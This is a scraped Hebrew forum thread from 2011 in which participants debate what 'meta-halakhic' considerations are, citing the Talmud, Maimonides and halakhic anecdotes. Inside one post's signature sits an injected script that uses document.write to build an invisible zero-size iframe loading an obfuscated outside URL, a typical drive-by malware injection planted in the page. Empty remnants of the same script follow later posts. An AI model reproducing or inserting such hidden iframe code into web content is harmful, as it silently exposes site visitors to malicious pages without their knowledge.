| נשלח ב-21/8/2011 19:24 |
|
| |
מה זה שיקולים מטא הלכתיים?
ראיתי שבאשכול אחר נוצר דיון מה זה מטא הלכה,אז ראיתי לנכון לפתוח אשכול בענין.
ראשית,אני לא כ"כ חושב שיש לדון מה זה מטא הלכה,כי הרי מטא הלכה זה לא הלכה למשה מסיני,זה לא איזה מושג הלכתי,זה מושג שאנשים מתכונים לבטא בזה שיקולים שגורמים לפסיקת הלכה,שאינם שיקולים הלכתיים נטו,עכשיו,יש אחד שאצלו שיקולים לא הלכתים כוללים דברים שהשני יגיד זה כן שיקולים הלכתיים,ומטא הלכה זה משהו אחר,כך שמה שבסך הכל צריך לעשות,זה לסדר את השיקולים המשפיעים על פסק ההלכה,לחלק אותם לסוגים,לדון בהם,אבל אין כל טעם לדון בצורה מופשטת מה זה מטא הלכה.
לגוף הענין,כמובן שניתן לחלק את זה להרבה סוגים,ואין לי את הזמן ואת החשק ואת האפשרות לנסות לתאר את כל סוגי השיקולים ההלכתים,אז אציג רק כמה סוגים.
שיקולים שאין להם כל מקור בספרות התורנית,לפחות לא מקור מפורש,והשכל הישר אומר שיש להתחשב בשיקולים האלו מכל מיני סיבות,השכל הישר אומר שאין רצון ה' לפסוק את ההלכה לפי איך שאמור לכאורה לצאת.
זה סוג שצריך זהירות יתירה עד למאוד,שהאדם לא יבדה מליבו דברים לא נכונים,בקיצור,זה מדרון חלקלק שצריך מאוד להזהר בו.
שיקולים שיש להם מקור בהלכה ,אבל המקור שלהם נמצא בסוגיא ובנושא אחר,ואנו מבקשים ללמוד מהם לנושאים אחרים שבהם לא נאמרו השיקולים הללו.
יש עוד חלוקה,יש שיקולים שאין להם קשר לעצם ההלכה,זה אומר,ההלכה צריכה להפסק בצורה מסוימת,והשיקול החיצוני אומר לשנות את פסק הלכה.
לעומת זו יש שהשיקולים החיצונים רק גורמים להכריע כצד מסוים בהלכה.
חלוקה נוספת,יש שאדם מודע לשיקולים החיצונים,והוא יכול להגדירם ולומר שהוא פועל על פיהם,ויש שהאדם לא מודע להם כלל,הוא חושב שבאמת ובתמים הוא ניגש לבירור ההלכה כדבעי,אבל למעשה יש לו הרבה שיקולים שגורמים לו לנסות להכריע כצד מסוים.
כשהסיבות שגורמות לאדם לנטות לצד מסוים הם סיבות של הנאה וכדו' זהו שוחד כפשוטו,לעומת זאת,כשהשיקולים הם שיקולים ערכיים,אז זה כבר משהו אחר,אפשר לראות את זה בצורה פסולה,ולהגיד זה שוחד רוחני,ואפשר לומר שזה בהחלט לגיטמי,ששיקולים ערכיים יגרמו בתת ההכרה לפסיקה מסוימת.
 |
|
|
|
|
| נשלח ב-21/8/2011 20:01 |
|
| |
קסת ראשית,אני לא כ"כ חושב שיש לדון מה זה מטא הלכה,כי הרי מטא הלכה זה לא הלכה למשה מסיני,זה
האם כל התורה שבעל פה- יותר נכון רובה אינן מטא הלכות שעם הזמן הפכו להלכות? האם רוב ההלכות שהתוספו במשך הדורות אינן הלכות שנוצרו משיקולים ערכיים? האם כל ההלכות הן הלכה למשה מסיני?- או הלכות מעשה ידי דם והגיונותיו. המטא הלכה של היום היא ההלכה של מחר!
|
|
|
|
| נשלח ב-21/8/2011 20:16 |
|
| |
קסת
טוב שפתחת אשכול חדש כי הקודם היה אמור לדון בשאלה המסויימת של הרב זילברשטיין והדיון נזקק לשיקולים שאפשר לכנות מטא הלכתיים, אבל בוודאי שהוא לא נועד לעסוק בכולם.
נפתח אם כן בהגדרה.
ונפתח לפניה באיפיונים של הגדרות. כלומר של הגדרות תחומי מחקר.
יש מונחים שאינם ברורים וחדים. הם חשובים ושימושיים, אבל הם יכולים להצביע על נושאים שונים ומגוונים. זה מאפשר לדון במסגרת הכותרת על דברים רבים וסותרים. זה מאפשר לכותבים לתקוף זה את זה: מה לנושא שלך ולתחום.
השם "מטא הלכה" הוא כזה. זה נושא חדש יחסית באקדמיה. משתמשים בו ככותרת לנושאים שונים. יש שני ספרים מעניינים שערך רוזנק (ועוד אחד שחיבר בעצמו) בתחום:
שני הראשונים זכו לכותרת "פילוסופיה של ההלכה"
הראשון היה "עיונים חדשים בפילוסופיה של ההלכה" בעריכת רביצקי ואביעזר רוזנק (מאגנס ירושלים תשסח). בספר מבוא קצר של רוזנק על תולדות המונח "מטא הלכה". אולם הפרקים עוסקים בתחומים שונים, והעורכים חילקו אותם לכמה תחומים: בירור תחום המחקר, שזה גם מה שאני מנסה לעשות כאן, "מקומה של הפילוסופיה בהלכה", "בין פורמליזם לתכליתיות" וכן קריאה סוציולוגית, אנתרופולוגית ומגדרית של ההלכה. נראה לי שהמחברים תרמו כל איש משלו ולעורכים היה תפקיד לא קל לשבץ הכל באותו ספר.
אבי שגיא מתח ביקורת על השימוש במונח מטא הלכה (אחד הפרקים שהספקתי לקרוא...) ומה שאני עושה כאן מנסה לענות על האתגר שלו (לדעתי הוא צדק רק חלקית, אבל לא אוכל בינתים לדון במה שכתב ובתשובתי).
בספר השני, החדש לזמן כתיבת אשכול זה, ("הלכה, מטה הלכה ופילוסופיה, עיון רב תחומי", מאגנס תשעא) הספר מתחלק לתחומים הבאים: חברה מגדר ומשפט, פילוסופיה פילוסופיה של המדע והלשון, הרמנויטיקה פנומנולוגיה ופסיכולוגיה וגם רב שיח. טרם קראתי ממנו כלום... אבל עצם החלוקה מעידה שהנושא עדיין לא הוגדר.
לכן אני מציע להודות בפה מלא שהרעיון של "מטה הלכה" (או מטא, המונח יווני ופירושו "מעבר" כמו במטה-פיזיקה, מה שמעבר לפיזיקה) הוא עדיין לא מוגדר. ואני מציע לאפיינו בדרך השלילה. מה הוא לא.
וזה העיקר שאני בא לומר:
כל פסיקה והכרעה הלכתית מבוססת על חשיבה ושיקולים. ניתן למיין את השיקולים לשנים. אלו שנוגעים ישירות לנושא הנידון, וכל מה שלא נוגע אליו. כיון שהחלק השני במשפט מוגדר בדרך השלילה (מה שלא שייך ישירות) הוא יכול לכלול הכל. ולכן המטה הלכה אינה מוגדרת. וכל דבר כמעט יכול להיכנס בה.
למה הכוונה ב"שיקולים ישירים"? אנסה להמחיש. לצערי אין לי משנה סדורה בנושא, ואדרבה, זה מה שאני מקוה שנשיג יחד באשכול זה. הדוגמאות הבאות, לכן, אינן חד משמעיות. אבל גם הנושא אינו מוגדר דיו.
תלמוד בבלי מסכת נדה דף ו עמוד א-ב ת"ש, מעשה ועשה רבי כר"א, לאחר שנזכר אמר: כדי הוא ר"א לסמוך עליו(עמ' ב) בשעת הדחק. והוינן בה: מאי לאחר שנזכר? אילימא לאחר שנזכר דאין הלכה כרבי אליעזר אלא כרבנן, בשעת הדחק היכי עביד כותיה? אלא - (לאו) דלא איתמר הלכתא לא כמר ולא כמר, וכיון שנזכר - דלאו יחיד פליג עליה אלא רבים פליגי עליה, אמר כדי הוא רבי אליעזר לסמוך עליו בשעת הדחק.
[מעשה ופסק רבי כרבי אליעזר. לאחר שנזכר - ורצה לחזור בו - אמר: כדאי הוא ר"א לסמוך עליו בשעת הדחק. וביררנו: מה נזכר רבי וכו'? - שלא נפסקה הלכה, אלא שיש כאן מחלוקת יחיד ורבים, ובשעת הדחק ניתן לסמוך על השיטה היחידאה].
לא כתבתי כאן בדיוק מה היתה השאלה. למעשה הגמרא דנה שם בפרטים ודי לנו שמדובר בהפסד כספי של תרומה. רבי ענה תשובה מקילה.
יש לנו אם כך את הנושא עצמו, אשה שלא בדקה ועשתה טהרות וראתה דם ולכן היא אמורה לטמא למפרע (אני כותב מהזכרון) אלא שיש מי שמקל ורבי פסק כשיטה המקילה. הנושא הישיר הוא האם ראוי לטמא. הנושא העקיף הוא אם יש מחלוקת איך ראוי לנהוג והאם שיקולים נוספים, כמו גודל ההפסד והצורך, מצדיקים לדחות את התשובה הפורמלית.
כפי שניתן לראות, אין כאן שום יציאה מחוץ לתחום ההלכה והתורה. אני מביא כאן ציטוט מהגמרא ודיון הלכתי, אלא שבדיון הזה עצמו אפשר להבדיל בין שתי רמות. הרמה השניה יכולה להחשב כמטה הלכה. אפשר גם לחלוק על השיוך הזה. אבל בעיני הוא מציג דוגמא אחת מני רבות למטה הלכה.
גם בדוגמא מאד מסויימת זו משתתפים כמה שיקולים חוץ הלכתיים ישירים (=שאינם הנושא עצמו, טמא או טהור). איך מכריעים במחלוקת? מה מעמד היחיד מול הרבים? האם ומתי יש מחלוקות שבהן ההכרעה נשארת פתוחה? ומדוע? מתי יש להקל, ובכלל איך זה שאפשר להקל, הרי ההלכה אמורה לספק תשובה חד משמעית?
אני מבקש להדגיש את השאלה האחרונה שהצגתי. כלפי הנושא עצמו, טומאה למפרע, יש תשובה חד משמעית, כל תנא ושיטתו. אך לפני שעונים את התשובה לשואל, בודקים דברים נוספים. והם משפיעים על התשובה הסופית. כיון שהשיקולים האלו אינם נובעים מן השאלה של "להחזיק טומאה למפרע" (או לחשוש לטומאה למפרע), הם חוץ הלכתיים ולכן יאות להם השם "מטא הלכה".
מה צריך לעשות עכשו? להביא הרבה דוגמאות, לנתחן ולזהות את השיקולים, ולנסות לחלק את התחום הכללי "מטא הלכה" לנושאים שיכולים להופיע בו.
(ספרן כבר העיר הערה חשובה מאד באשכול הקודם, ואני מקוה שיאות לטרוח ולהעתיקה הלום).
__טעות הקלדה תוקנה_______________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
תוקן על ידי מיימוני ב- 21/08/2011 20:18:43
 |
|
|
|
|
| נשלח ב-21/8/2011 21:57 |
|
| |
ירוחם האם אתה מסכים כי לחז"ל לא היתה כל רוח הקודש וכל התורה של בעל פה היא תוצאה ישירה של הגיונם האישי והערכים או המוסר שהיה מקובל בכל תקופתם לאורך הדורות ולכן הדבר אינו צריך לחייב אותנו.
|
|
|
|
| נשלח ב-21/8/2011 23:24 |
|
| |
"לגוף הענין,כמובן שניתן לחלק את זה להרבה סוגים,ואין לי את הזמן ואת החשק ואת האפשרות לנסות לתאר את כל סוגי השיקולים ההלכתים,אז אציג רק כמה סוגים. "
המקור הבא נותן חמש הגדרות למושג .
הוא בוחר את ההגדרה החמישית(הנפוצה ביותר)ומבהיר אותה עם דוגמאות :
https://s3-eu-west-1.amazonaws.com/shiurim/5771/4-8-lesson.doc
|
|
|
|
| נשלח ב-22/8/2011 00:38 |
|
| |
צענע הנכבדה! יישר כוח רב על הלינק, הוא ממש בהיר עמוק וכנה. נוסף לזה, אינו בא לקבוע איזה מן ההגדרות יותר נכונות, אלא השיעור נסב על ההגדרה החמישית. באופן כללי, ההגדרה החמישית קרובה להגדרתו של מיימוני בעניין מטא הלכה.
|
|
|
|
| נשלח ב-22/8/2011 01:52 |
|
| |
צענע וצבי
האם יוכל אחד מכם לסכם את הנאמר שם עבור כולנו?
*** טריקולורי
ברוך הבא לפורום! (פורום היא מילה לועזית מן המילים הלועזיות, היפות והמתוחכמות שלמדתי בשהותי בהייד פארק. מאז שהתחברתי לאינטרנעט אני כבר איני זקוק להגניב הביתה ספרים מתחת לחליפתי השחורה והמאובקת. אני מוצא אותן כאן...)
כיון שכתבתי בציניות, אני מסביר: לא הבנתי מה אתה בא לטעון. האם אתה סבור שאני סתם משתמש במילה בלי להבין אותה? אולי לא הסברתי את עצמי היטב?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-22/8/2011 01:56 |
|
| |
ושם האחר
שאלת את ירוחם ואני מקוה שמותר גם לי להביע דעה.
כתבת:
1. האם אתה מסכים כי לחז"ל לא היתה כל רוח הקודש 2. וכל התורה של בעל פה היא תוצאה ישירה של הגיונם האישי והערכים או המוסר 3. שהיה מקובל בכל תקופתם לאורך הדורות 4.ולכן הדבר אינו צריך לחייב אותנו.
היטבת לאפיין את הדילמה. לדעתי שלי
1. תלוי איך מבינים רוח הקודש. חז"ל למדו את התורה שבידיהם במסירות, בכשרון, תוך חיפוש האמת. כשהיתה להם סייעתא דשמיא הם זכו לכוון לאמת והבירור האמין בעיניהם כפי שמובא בתלמוד הוא שתלמיד חכם מביע דעה ונמצא מקור תנאי שאומר אותו הסבר.
רוח הקודש אם כן היא העזרה משמים לזכות לכוון לאמת מתוך שלל האפשרויות שכושר הניתוח שלנו מציג בפנינו.
2. התורה שבעל פה כפי שהיא פותחה בתלמוד היא יישום של: המקורות במסורת, כוח הסברה והעיון הלוגי, וכן כמובן ערכים יסודיים. (אבל ראה לקמן).
3. הערכים האלו לא נשאבו מהסביבה. אדרבה, הסביבה היתה שפלה בהרבה! אפילו בתוך עם ישראל עמי הארצות.
4. דבריהם אכן מחייבים אותנו, מפני שהם לא רק למדו את התורה על מנת ללמד ולפסוק, אלא מפני שהם נבחרו בידי ה', לפי הקריטריונים הנתונים במסורת, לפרש ולפסוק. השאלה שעולה באשכול היא איך ניתן להמשיך את דרכם ומה הסמכות שיש לפרש וכיצד נתפרשה זכות וחובה זו במשך הדורות שאחרי התלמוד.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-22/8/2011 06:39 |
|
| |
לבקשת מיימוני לעיל, מועתק מאשכול אחר:
כתב מיימוני "הצעתי לו איפיון כללי. כל מה שתורם להכרעה הלכתית שאינו מיוסד על הכללים הנוגעים לאותה הלכה בלבד.
זה יכלול אם כן כללים כמו "דרכיה דרכי נועם", דברי הרמב"ם על תכלית התורה"
החלק הראשון נסקר ומודגם היטב בספרו של הרב אליעזר ברקוביץ "ההלכה כוחה ותפקידה"
אולם "דברי הרמב"ם על תכלית התורה", כאן נכנסים לכאורה לשדה מוקשים שכן אם לתרגם את הדברים למונחים אחרים, הרי מדובר בפשטות בסוגיית טעמי המצוות, בה כמדומני לא אמר אדם מעולם שסברה אנושית בנתינת טעמים למצוותיה של תורה תשנה משהו מבחינה מעשית (וכמו שנמסר בשם בעל "בית הלוי" שטעם הוא מלשון תבלין המנעים את האכילה. לא יותר. וראה מאמרו של גולדמן הנזכר "המצווה כנתון יסוד של הדת") אכן יש לחלק בין טעמים שנדרשו ע"י המעיינים לדורותיהם, מדעתם, לבין העולה באופן ברור מדברי התורה עצמה (וכבר הובא פעם חילוק זה בשם הג"ן, מפורש יוצא מדברי הרא"ש בתוספותיו) אלא שמקרים אלה המתפרשים בתורה אינם מרובים. ולגבי תכלית התורה, באופן כללי, הרי שוב אנו מכניסים ראשינו בין הרים גדולים: אינה דומה תכלית התורה במשנת הרמב"ם לזו העולה מספר הכוזרי ועוד, והדברים עתיקים.
 |
|
|
|
|
| נשלח ב-22/8/2011 08:33 |
|
| |
ספרן
דבריך הם מועט הכולל הרבה.
אמחיש.
1."דברי הרמב"ם על תכלית התורה", כאן נכנסים לכאורה לשדה מוקשים שכן אם לתרגם את הדברים למונחים אחרים, הרי מדובר בפשטות בסוגיית טעמי המצוות."
לא בדיוק. טעמי המצוות מסבירים או משתדלים להסביר כל מצוה בפני עצמה. דברי הרמב"ם שאצטט לקמן מדברים על טעמי אב (או טעמים ראשיים) לכל המצוות כולן.
2.כמדומני לא אמר אדם מעולם שסברה אנושית בנתינת טעמים למצוותיה של תורה תשנה משהו מבחינה מעשית ... אכן יש לחלק בין טעמים שנדרשו ע"י המעיינים לדורותיהם, מדעתם, לבין העולה באופן ברור מדברי התורה עצמה.
כפי שכתבת בעצמך, יש מצוות שאין הטעם מפורש אם כי ניתן לשערו. ואז הוא עשוי להיות חלק מהגדרת המצוה. ויש שאין הטעם מפורש, אם כי יתכן מאד שבדור נתינת התורה היה יותר מובן מה התכלית.
לפיכך, יש מקום לשאול האם מותר למשכן אלמנה עשירה (=ליטול חפץ נחוץ כערבון להלוואה מידי אלמנה עשירה כי ודאי יש לה יותר מאחד). וזוהי כמובן מחלוקת ר' שמעון וחכמים.
אמנם, השאלה אם הבנת הטעם משנה את הבנת המצוה היא לכאורה שאלה אחרת.
*** היכן המאמר של גולדמן נדפס?
*** יש לי תיאוריה הולכת ומתגבשת לגבי טיבן של המצוות. למרות שצריך להשקיע בה יותר, אני מציע אותה כנושא לעיון.
אתחיל ברמב"ם. הרמב"ם מציע שיש לכל המצוות טעם תועלתני. כלומר מכוון למטרה. וכולן מכוונת לקידום שלמויות. שלמות חברתית ושלמות אישית. כאשר השלימות האישית היא בתחום הגוף והנפש, ושלימות בתחום הנפש מגיעה לשיא בתחום רכישת הידע, באשר ידיעת האלקים היא השיא שהאדם מסוגל להגיע אליו וראוי לשאוף אליו.
ניתן לסכם זאת בלשוננו היום בתור המצוות כחינוך. חינוך האדם וחינוך החברה (אבל לא ברור שתרמתי הרבה מעבר למילה. האם "חינוך" הוא מונח כה ברור, והאם הוא מאגד טבעית בתוכו כל מה שכתב הרמב"ם? נניח לשאלה גדולה זו. כוונתי לנסח אינטואיציה במילים).
התורה מספקת תשובה לכל שאלה של "כיצד ראוי להתנהג" בתחום המעשה (או המחדל) וכן הדיבור, וכן המחשבה, וכן הרגש, שלדעת הרמב"ם ניתן וראוי לעצבו.
כאן אזכיר את החלוקה הבסיסית של וטו מראשית ימי הפורום. ניתן לחלק את המצוות, (או בתוך מצוה עצמה) בין הפן של "ההתאמה" ל"שמירת ההתאמה". ה"התאמה" בלשונו של וטו (מונח קשה שצריך להתרגל אליו) היא תכלית חינוך האדם. יש לאדם, כל אדם, בהתאם לנסיבותיו, תכלית אישית ראויה, שלמות של גופו ונפשו (כך הבנתיו). אולם יש מצוות שמשרתות זאת בעקיפין. יש תנאים שנצרכים כדי שהאדם יוכל להגיע לממש את התכלית האישית הזו. זוהי "שמירת ההתאמה". למשל, העיקרון של שימור הכבוד למסורת והשמרנות הנצרכת לשם כך יהיו חלק מ"שמירת ההתאמה".
לפי גישתו של וטו, בכל מצב יש לאדם כיוון התנהגות שהוא הוא הראוי ולכן הוא הוא המוסרי והמחוייב. אמנם כיון שבני אדם אינם בני דעת להבין זאת מעצמם, ניתנה תורה כדי לספק את התשובות לשאלה: מהי חובתי בעולמי, בכלל וכרגע.
היה מקום לספק תשובה אינדיבידואלית בכל מצב, אבל לא זוהי דרכה של תורה. עם זאת, אילולא היתה תורה, עדיין היה "ראוי" לכל מצב ולכל שאלה המתעוררת.
כדי לעצב תשובות כלליות עבור העם והפרטים שבו ניתנו תריג מצוות. כל אחת מציגה את קידום התכליות האנושיות הראויות בהתאם להקשר ההיסטורי שבו ניתנה. רוב תכליות אלו או כולן אמורות להיות טובות לכל הדורות. אך הן מובנות בעיקר על רקע זמנן ומקומן הראשון. (יתכן שיש להוסיף שחכמים קיבלו את הרשות והחובה לפרש את המצוות לפי הצרכים המשתנים של הדור, ולכן פרשנויות חכמים המוכרות לנו ולכן תקנות וגזירות).
דוגמא: מצות מעקה מלמדת אותנו להגן בבחירת בית מפני סכנות, בעיקר נפילה, אך זה בנין אב לכל ההגנות, גם לאותם מקרים שבהם הסכנה נראית רחוקה. לפי שהאדם לא ידע תמיד להיזהר (כך החזו"א כמדומה). מצות ייבום מגינה על האלמנה שנותרה ללא ילדים ואין לה לאן ללכת ומבטיחה לה מקום מחודש בבית המשפחה והשבט של הבעל שנפטר.
לא בכל המצוות אפשר לברר איך הן עונות על הצרכים אבל בדרך כלל חסר לנו רקע היסטורי. יתכן גם שמצוה תשרת כמה תכליות, שהרי כולן ניתנו ב"חכמה אלוקית".
כאשר מתעוררת שאלה: איך ראוי לנהוג, יתכן שאדם חכם היה יכול לתת תשובה על פי השלמויות הראויות של הרמב"ם, ההתאמה ושמירת ההתאמה בלשון ווטו. (לי תמיד נראה שזה הקו המנחה בפסיקות כמו של הרב שרלו. שכל ישר שלאחר מכן מעגנים אותו במידת האפשר במקורות, כפוף כמובן להבנת יישום השלמויות במצב השואל והנשאל).
לפיכך, כאשר עולה שאלה הלכתית, יחולו עליה הכללים הבאים שיש לבדוק כיצד ליישמם.
א. ההתאמה: איך התשובה תשרת בצורה המיטבית את חינוך האדם, הפרט והחברה. ב. שמירת ההתאמה: איך התשובה תיקלט במסגרת תוך התחשבות בעקרונות הנוספים שבלעדיהם תשובה לא תיתכן (למשל: אי פגיעה בחבילת האמון של השואל, כגון התחשבות בצרכים קהילתיים של מנהג, יכולתו של האדם לסבול עול ולוותר על הנאותיו, המשאבים שיש לו, העיקרון של סובלנות ועוד. הדוגמאות שלי , לא של ווטו). ג. התאמה לעקרונות נתונים כבר במסורת, כלומר הגדרות המצוות הקיימות. ד. התאמה לכלל המסורת.
דוגמאות:
מספרים שלר' שמואל מסלנט באה משפחה שהכינה סעודה משפחתית בשרית אך נשפך חלב לסיר. לא היה כדי ששים בתערובת כנגד החלב. זה אומר שהתערובת אסורה ולא יהיה מה לאכול. זו היתה "שעת הדחק" ו"הפסד מרובה" כי מדובר בחתונה או כיוצא בזה בירושלים של בין החומות, עניה ורצוצה.
כאן חלים לדעתי העקרונות הבאים:
1. המשפחה זקוקה לאוכל. ראוי לעזור ולמצוא להם היתר. 2. ההיתר אסור שיפגע בכבוד שיש לאדם לדיני כשרות הנתונים (לא אכנס לשאלה מדוע ניתן איסור בשר וחלב ואם יש לשמרו ואיך. זה כבר נתון). 3. האיסור וההפסד הממוני, גם אם הוא קשה ומעיק, עדיין מחנך את האדם לתת לה' מממונו, לוותר על הנאותיו, להיות מאופק וישר ועוד. אבל צריך למצוא איזון בין הכבוד למסורת והצורך לוותר לבין הצורך התועלתני.
לכן לדעתי במצוות שבין אדם למקום, כגון בתחום האיסור וההיתר, ראוי להקל במידת האפשר בלי לפגוע ב"שמירת ההתאמה".
זאת בניגוד לתחום שבין אדם לחברו שבו הקלה לזה היא הפסד לזה, ולכן צריך למצוא יישום שמקדם את טובת הכלל במידת האפשר לא על חשבון הפרט, ובהתאם לצדק וליושר ולקידום עשיית הטוב מעבר לחובה. כגון בתקנות שכנים של חז"ל.
כיצד יישם זאת ר' שמואל מסלנט. לפי הסיפור המפורסם הוא זימן את החלבן, גילה שהוא מוסיף מים לחלב, וכנגד החלב המקורי שבנוזל שנשפך היו ששים. התערובת היתה מותרת.
אז אלו הם דוגמאות לדעתי לקביעה פרטית של הלכה.
א. העקרונות הישירים: המצוה כנתינתה מיושמת לפי האפשר בדור. ב. העקרונות שמעל: ההתאמה ושמירת ההתאמה, שהם מתפצלים לכללים נוספים רבים.
התחום ב' יהיה המטא הלכה. והוא כאמור מוגדר רק באופן שלילי כי אין לנו הגדרה מלאה. ולכן צריך דוגמאות מן המסורת כדי לנתחן ולחלקן לתחומי משנה כפי שהצעתי.
 |
|
|
|
|
|
| נשלח ב-22/8/2011 09:05 |
|
| |
מיימוני,
כתבת "לא בדיוק. טעמי המצוות מסבירים או משתדלים להסביר כל מצוה בפני עצמה. דברי הרמב"ם שאצטט לקמן מדברים על טעמי אב (או טעמים ראשיים) לכל המצוות כולן" עיין שוב. הבדל זה עצמו הודגש בהמשך דברי שם.
מאמרו של גולדמן הדן בנושא מובא בספרו "מחקרים ועיונים" עמ' 306 ואילך.
המונח התאמה נתבאר היטב ב"לכסיקון עצכ"ח".
|
|
|
|
| נשלח ב-22/8/2011 09:36 |
|
| |
שלום הרב המיימוני יישר כוחך 
_________________
למד לשונך לומר: "איני יודע" כך תדע את שהנך יודע
|
|
|
|
| נשלח ב-24/8/2011 07:47 |
|
| |
מיימוני א. כמה הערות לדבריך כאן - מדוע ההנחה שהיתה סייעתא דשמיא (הכוונה מלמעלה) לדברי חז"ל? מדוע להמציא "נס"? מה רע אם זו דעתם (ולכן ברור שיכולים עקרונית לטעות ויש טעות בי"ד. לשיטתך תצטרך ליצור חילוק מלאכותי בין הדברים המוכוונים לאחרים). כפי הנראה בגלל רצונך להגיע לכך שהתורה "מותאמת" אתה נזקק לכך. זו חוליה חלשה.
- כפי הנראה בגלל אותה סיבה אתה נזקק לומר שכל הערכים שלפיהם פעלו חז"ל הם ערכים עצמיים. האם באמת לא הושפעו מאומה מדעת הסביבה? לגבי יחס לנשים (ולא דווקא עדות). האם אין מצוות שהיו כבר לפני מתן תורה נהוגות בעמים (יבום – יש רמב"ן המשתמע כך, עבדות).
- דבריהם מחייבים כי הם נבחרו בידי ה' [גם לזה התיאוריה שלך נזקקת]. מנין שנבחרו? זה קריטריון בדיעבדי למצליח לקבוע הקו. צריך בחירה או מספיק שזה הקו של המימסד המחליט (השלכות לצדוקים ופרושים).
- לרמב"ם לכל המצוות יש טעם תועלתני [כנ"ל] – האם באמת אין במורה רובד נוסף של קיום לא תועלתני?
- התורה מספקת תשובה לכל שאלה [גם הנחה כמעט חיונית לתיאוריה שלך]. האמנם? אין "רשות" (לפחות ברמה מסויימת). האם העובדה שאין תשובה חתוכה אלא מחלוקות לרוב אינה מעקרת את ההכוונה הפרטנית הזו?
- תורת ההתאמה – מגובה באיזהו נסיון מעשי? האם באמת המצוות כגורם תועלתני יכולות להיות כלליות לכל דור? האם באמת ניתן לפרש את כל המצוות כמחנכות, כל מצווה באופן פרטי לנקודה מסויימת? אתה בעצמך כותב שאיננו יודעים לפרש כל המצות כך, וודאי לא בתנאי דורנו.
- והערה "טכנית" – בשיטה של לראות את התשובה של השכל הישר ואח"כ למצוא לה צידוקים עיקרת במידה רבה את ההלכה ואת המו"מ ההלכתי המקובל ורובו נעשה רק כצידוק שבדיעבד. ויש בכך גם סכנה שמורי ההלכה יכולים להיות פחות "מקצוענים" בהלכה ויותר בעלי שכל ישר (שכידוע אין לו סוף והוא תלוי בהמון הנחות וגורמי יסוד אמורפיים) [לא שאני בעד העדר שכל ישר אצל פוסקי הלכה], והדוגמה שהזכרת מהווה ראיה לכך.
ב. שאלות שנשאלו (בשינויי נוסח לאור מה שכתבת בינתיים) פעם על דבריך בעמ' 3 של אשכול מטא הלכה האם מותר להטיל מום וטרם ענית - נניח ויצאנו מנקודת מוצא שתורה מחייבת בגלל מקור אלוקי. מנין שמטא הלכה מחייבת? מה מקומה? מה מקורה? הרבה מה"סברא" הוא מוסר, שהוא די גמיש ואיני יודע כללים מחייבים ומקובעים שלו. אז מוסר שמקובע בנו, ניחא (השופט כל הארץ – מסכים). מוסר שאינו כזה (נניח שויון נשים, ערך יחסית חדש), שוויון כלכלי ? האדם במרכז?
- האם באמת חז"ל התכוונו להגזים או שבאמת חשבו שיש במחלת עיניים סרך של פיקו"נ והיות וספיקו להקל הקלו?
- האם באמת העקרון המטא הלכתי, שהראית, שיש המפעילים אותו לחומרא (אגב, ויש ויש לקולא) מחייב? למיטב זכרוני החזו"א כותב לפעמים על דבר שהוא אסור ואף מבחינת ההלכה סביר שאסור. הרי שהחלק הראשון אינו הלכה (וממילא האיסור יכול להיות המלצה בלבד. אם כי איני בטוח שהחזו"א חשב כך. איני בטוח שלא).
- סייעתא לדבריך - ראה חזו"א ביוד סכ"ב (ואלו דברי הריטב"א שם) אודות נאמנות ע"א להתרת אישה שמשמע ממנו שבמצבי "לחץ" יצאו חכמים מגדרם לפרש התורה אחרת מהמשמעות הפשוטה (הצורך בתורה בשני עדים הוא ביטוי לבירור חזק, וכשיש סייעתא בסברא, כבעדות אישה, מתקיים בירור יזק גם בע"א). מעניין שהפירוש ה"נועז" בא לאור מצוקת העגונה ולולא הוא לא היה עולה. אבל אם כן מה בין החזו"א לאמשלום (ויסלחו לי שניהם על ההשוואה).
- תודה שהסברת באופן קל. אבל בכל זאת לא הבנתי - אני מסכים שפיקו"נ דוחה שבת – היה ברור לחז"ל ורק בחפשו על מה "להלביש" הדין וזו דוגמה טובה של סברא מוטמעת. אבל כל זמן שלא עוגנה בהלכה ע"י גוף מוסמך אי אפשר לפסוק שעל גוי (אף אם הוא כמעט יהודי) יחללו שבת. כמה שזה נוגד את המוסר. (וראה גם בחזו"א יו"ד סכ"ב).
- עוד הערה, חצי אגבית. יש לימודים שלאזני אדם מעולמנו העכשווי נשמעים מופרכים. לדוגמה אשת אחיו שלא היה בעולמו. מה זה משנה אם הכירו או לא? ומדוע קבעו גבול של היה בעולמו ולא גבול של הכרה, הרי יתכן שהיה בעולמו ולא ידעו אפילו זה מזה. לכן תמוה ללמוד משם יסודות (מטא) הלכתיים. גם שם יש יסודות שרירותיים (יודעני שתאמר שיש לשים גבול לאחריות המשפחה לאלמנה, ולכן אם לא הכירו – לא. או שרוצים למונעה מלהמתין זמן רב, ועדיין יש גבול שרירותי מאוד)
- אתה כותב שאין בסיס חיצוני שמושחל במודע להלכה. האם מכאן שכל הקשור לשויון זכויות לנשים אינו כלול? (תוכל לענות, ובצדק, כי התורה אדישה לכך. חז"ל במטא הלכתם לפי מושגי תקופתם הדירו נשים ואנו נחזירן. בסדר. אלא שלדעתי יש צורך בגוף מוסמך שיסמיך זאת על ה"חוק".
- חושבני שאני קיצוני יותר ממך. אני מוכן גם לקבל השפעה מבחוץ ואיני חושב שיש להשתמש רק ב "עקרונות שכבר קיימים בהלכה או שהתורה מתירה ומזמינה להשתמש בהם." (כי מי יכול לדלות מהתורה עקרונות,מלבד עקרונות טריויאליים. זה כל כך נזיל ונתון לפרשנות!) בתנאי שחדרו באופן בלתי מודע.
 |
|
|
|
|
| נשלח ב-24/8/2011 10:02 |
|
| |
הרב מימוני
בתשובתך לשם אחר כתבת- הגהותי באדום
1. תלוי איך מבינים רוח הקודש. חז"ל למדו את התורה שבידיהם במסירות, בכשרון, תוך חיפוש האמת. כשהיתה להם סייעתא דשמיא הם זכו לכוון לאמת והבירור האמין בעיניהם כפי שמובא בתלמוד הוא שתלמיד חכם מביע דעה ונמצא מקור תנאי שאומר אותו הסבר.
.רוח הקודש אם כן היא העזרה משמים לזכות לכוון לאמת מתוך שלל האפשרויות שכושר הניתוח שלנו מציג בפנינו.
